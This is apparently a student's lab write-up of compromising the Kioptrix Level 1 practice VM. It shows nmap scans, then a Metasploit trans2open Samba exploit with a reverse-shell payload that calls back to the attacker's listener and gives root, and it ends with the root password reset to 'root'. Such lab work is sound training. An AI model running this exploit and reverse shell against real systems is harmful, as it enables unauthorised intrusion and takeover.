Server IP Address	Ports Open
192.168.22.128	**TCP:** 22, 80, 111, 139, 443,1024

Initial Shell Vulnerability Exploited:

Additional info about where the initial shell was acquired from:

Nmap Scan Results:

At first I found the correct IP address for the machine.

```
┌──(root㉿kali)-[~]
└─# nmap -sP 192.168.22.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-16 17:19 EST
Nmap scan report for 192.168.22.1
Host is up (0.00098s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.22.2
Host is up (0.00073s latency).
MAC Address: 00:50:56:F4:EE:8A (VMware)
Nmap scan report for 192.168.22.128
Host is up (0.00011s latency).
MAC Address: 00:0C:29:1F:72:9D (VMware)
Nmap scan report for 192.168.22.254
Host is up (0.00020s latency).
MAC Address: 00:50:56:EA:59:47 (VMware)
Nmap scan report for 192.168.22.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.26 seconds
```

I found that the target runs two open services that I also listed in the table above based on Nmap results.

1. Port 22 OpenSSH 2.9p2
2. Port 80 Apache httpd 1.3.20
3. Port 111 2 (RPC #100000)
4. Port 139 Samba smbd
5. Port 443 Apache 1.3.20
6. Port 1024 1 (RPC #100024)

I performed an nmap check on the required IP address, and found that port 139 is open.

```
┌──(root㉿kali)-[~]
└─# nmap -p-  192.168.22.128 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-16 16:35 EST
Nmap scan report for 192.168.22.128
Host is up (0.00082s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1           1024/tcp   status
|_  100024  1           1026/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2024-01-14T13:52:37+00:00; -2d07h43m46s from scanner time.
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
```

```
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:1F:72:9D (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: -2d07h43m46s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.82 ms 192.168.22.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.66 seconds
```

Then after we found the existing ports on the machine, in order to get to the shell I entered Metasploit to use the appropriate exploit (exploit/linux/samba/trans2open).

After I entered the appropriate values for the exploit, I activated it and managed to take over the machine with root privileges.

```
File  Actions  Edit  View  Help
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use exploit/linux/samba/trans2open
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/b
                                      asics/using-metasploit.html
   RPORT   139              yes       The target port (TCP)

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.22.129   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Samba 2.2.x - Bruteforce

View the full module info with the info, or info -d command.

msf6 exploit(linux/samba/trans2open) > set payload generic/sell_reverse_tcp
[-] The value specified for payload is not valid.
msf6 exploit(linux/samba/trans2open) > set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > set rhosts 192.168.22.128
```

```
rhosts => 192.168.22.128
msf6 exploit(linux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.22.129:4444
[*] 192.168.22.128:139 - Trying return address 0xbffffdfc ...
[*] 192.168.22.128:139 - Trying return address 0xbffffcfc ...
[*] 192.168.22.128:139 - Trying return address 0xbffffbfc ...
[*] 192.168.22.128:139 - Trying return address 0xbffffafc ...
[*] 192.168.22.128:139 - Trying return address 0xbffff9fc ...
[*] 192.168.22.128:139 - Trying return address 0xbffff8fc ...
[*] 192.168.22.128:139 - Trying return address 0xbffff7fc ...
[*] 192.168.22.128:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.22.129:4444 -> 192.168.22.128:1044) at 2024-01-15 15:55:45 -0500

[*] Command shell session 2 opened (192.168.22.129:4444 -> 192.168.22.128:1045) at 2024-01-15 15:55:46 -0500
[*] Command shell session 3 opened (192.168.22.129:4444 -> 192.168.22.128:1046) at 2024-01-15 15:55:47 -0500
[*] Command shell session 4 opened (192.168.22.129:4444 -> 192.168.22.128:1047) at 2024-01-15 15:55:48 -0500
whoami
root
```

Vulnerability Explanation:

<u>Vulnerabilities using port 139:</u>
The vulnerability in this case is related to a weakness in the Linux Samba service. The version of port 139 is Samba smb, so to get to the shell we use Metasploit in order to target the attack on the machine, and thus we can gain access to the system.

Vulnerability Fix: To solve the problem of the hacks and the weakness, you need to update the version of smb in order to prevent it.
Update version in Linux

Initial Shell Screenshot:

```
id
uid=0(root) gid=0(root) groups=99(nobody)
hostname
kioptrix.level1
passwd
New password: root
BAD PASSWORD: it is too short
Retype new password: root
passwd: all authentication tokens updated successfully
```

```
If you are reading this, you got root. Congratulations.
Level 2 won't be as easy ...
```

Privilege Escalation:

Additional Priv Esc info:

Due to the fact that we received root permission in the initial shell, there is no need to explain about Privilege Escalation, because we have already reached the highest privileges